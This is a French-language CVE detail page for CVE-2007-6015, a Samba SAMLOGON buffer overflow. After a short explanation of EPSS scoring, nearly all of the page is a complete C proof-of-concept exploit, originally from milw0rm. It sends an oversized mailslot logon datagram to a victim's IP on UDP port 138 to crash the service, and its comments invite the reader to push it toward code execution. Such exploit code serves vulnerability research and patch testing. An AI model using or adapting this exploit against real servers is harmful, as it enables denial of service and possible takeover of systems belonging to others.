CVE-2007-6015 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* http://secunia.com/secunia_research/2007-99/advisory/ * * A remote attacker could send a specially crafted "SAMLOGON" domain * logon packet, possibly leading to the execution of arbitrary code with * elevated privileges. Note that this vulnerability is exploitable only * when domain logon support is enabled in Samba. * * /////// * * Sample/simple POC [crash only] by a bored guy at asmx86 gmail [com], further exploitation or not.. is left as an exercise to the reader. * * laneleb & petemir, a true love in this world! hi! * * kangaroo kangaroo... */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <assert.h> #include <stdint.h> /* smb ripped defines/etc */ #define MAX_DGRAM_SIZE 576 #define MAX_NETBIOSNAME_LEN 16 typedef char nstring[MAX_NETBIOSNAME_LEN]; typedef char unstring[MAX_NETBIOSNAME_LEN*4]; enum node_type {B_NODE=0, P_NODE=1, M_NODE=2, NBDD_NODE=3}; #define PTR_DIFF(p1,p2) (/*(ptrdiff_t)*/(((const char *)(p1)) - (const char *)(p2))) #define CVAL_NC(buf,pos) (((unsigned char *)(buf))[pos]) /* Non-const version of CVAL */ #define SSVALX(buf,pos,val) (CVAL_NC(buf,pos)=(unsigned char)((val)&0xFF),CVAL_NC(buf,pos+1)=(unsigned char)((val)>>8)) #define SSVAL(buf,pos,val) SSVALX((buf),(pos),((uint16_t)(val))) #define SCVAL(buf,pos,val) (CVAL_NC(buf,pos) = (val)) /* A netbios name structure. */ struct nmb_name { nstring name; char scope[64]; unsigned int name_type; }; void safe_strcpy(char *a, char *b, uint32_t size) { strcpy(b, a); } void put_name(char *dest, const char *name, int pad, unsigned int name_type) { size_t len = strlen(name); memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? len : MAX_NETBIOSNAME_LEN - 1); if (len < MAX_NETBIOSNAME_LEN - 1) { memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len); } dest[MAX_NETBIOSNAME_LEN - 1] = name_type; } int put_nmb_name(char *buf,int offset,struct nmb_name *name) { int ret,m; nstring buf1; char *p; if (strcmp(name->name,"*") == 0) { /* special case for wildcard name */ put_name(buf1, "*", '\0', name->name_type); } else { put_name(buf1, name->name, ' ', name->name_type); } buf[offset] = 0x20; ret = 34; for (m=0;m<MAX_NETBIOSNAME_LEN;m++) { buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF); buf[offset+2+2*m] = 'A' + (buf1[m]&0xF); } offset += 33; buf[offset] = 0; if (name->scope[0]) { /* XXXX this scope handling needs testing */ ret += strlen(name->scope) + 1; safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope)); p = &buf[offset+1]; while ((p = strchr(p,'.'))) { buf[offset] = PTR_DIFF(p,&buf[offset+1]); offset += (buf[offset] + 1); p = &buf[offset+1]; } buf[offset] = strlen(&buf[offset+1]); } return(ret); } typedef struct exudp_s { unsigned char msg_type; unsigned char flags; uint16_t dgm_id; uint32_t source_ip; uint16_t source_port; uint16_t dgm_len; uint16_t pOffset; struct nmb_name source_name; struct nmb_name dest_name; } exudp; /* code */ int send_udp(int ip, char *packet, unsigned int packetSize) { int fd; struct sockaddr_in to; int len; if( (fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return 0; to.sin_family = AF_INET; to.sin_addr.s_addr = ip; to.sin_port = htons(138); if( (len = sendto(fd, packet, packetSize, 0, (struct sockaddr *)&to, sizeof(struct sockaddr_in))) < 0) { perror("sendto"); return 0; } return len; } int main(int argc, char *argv[]) { unsigned char samlogon[10240]; unsigned int nlOffset; exudp dgPacket; printf("smb_mailslot() POC by [email protected]\n\n"); if(argc < 3) { printf("Usage: %s <uppercase victim's netbios name> <victim's ip>\n\n", argv[0]); exit(1); } if(strlen(argv[1]) > 15) { printf("[!] netbios victim's name too long\n"); exit(1); } memset(samlogon, 0, sizeof(samlogon)); dgPacket.msg_type = 0x11; dgPacket.flags = 1; dgPacket.dgm_id = 0xdead; dgPacket.source_ip = 0xdeadbeef; dgPacket.source_port = 0xc0fe; dgPacket.dgm_len = 0; dgPacket.pOffset = 0; strcpy(dgPacket.source_name.name, "ASMX86@GMAILCOM"); strcpy(dgPacket.dest_name.name, argv[1]); nlOffset = 14; nlOffset += put_nmb_name((char *)&samlogon, nlOffset, &dgPacket.source_name); nlOffset += put_nmb_name((char *)&samlogon, nlOffset, &dgPacket.dest_name); #define OFFSET 97 nlOffset -= 4; SCVAL(samlogon, nlOffset+4, 0); SSVAL(samlogon, nlOffset+4+OFFSET, 18); SCVAL(samlogon, nlOffset+7, 0); SCVAL(samlogon, nlOffset+8, 0x25); SSVAL(samlogon, nlOffset+59, 397); SSVAL(samlogon, nlOffset+61, OFFSET); SSVAL(samlogon, nlOffset+63, 0); SSVAL(samlogon, nlOffset+36, 12); memcpy(&samlogon[nlOffset+39+(12*2)], "\\MAILSLOT\\NET\\NTLOGON", 21); memcpy(&samlogon[nlOffset+4+OFFSET+4], "\x41\x00\x41\x00\x00\x00", 6); memcpy(&samlogon[nlOffset+4+OFFSET+4+6-1], "\x42\x00\x42\x00\x00\x00", 6); memset(&samlogon[nlOffset+4+OFFSET+4+6+6], '\x43', 260); //play with this value ;) nlOffset = 576; dgPacket.dgm_len = nlOffset - 14; dgPacket.dgm_len = htons(dgPacket.dgm_len); memcpy(&samlogon, &dgPacket, 14); if(!send_udp(inet_addr(argv[2]), samlogon, nlOffset)) fprintf(stderr, "[!] Error sending UDP packet\n"); else fprintf(stderr, "[*] packet sent\n"); return 0; } //eof // milw0rm.com [2007-12-14]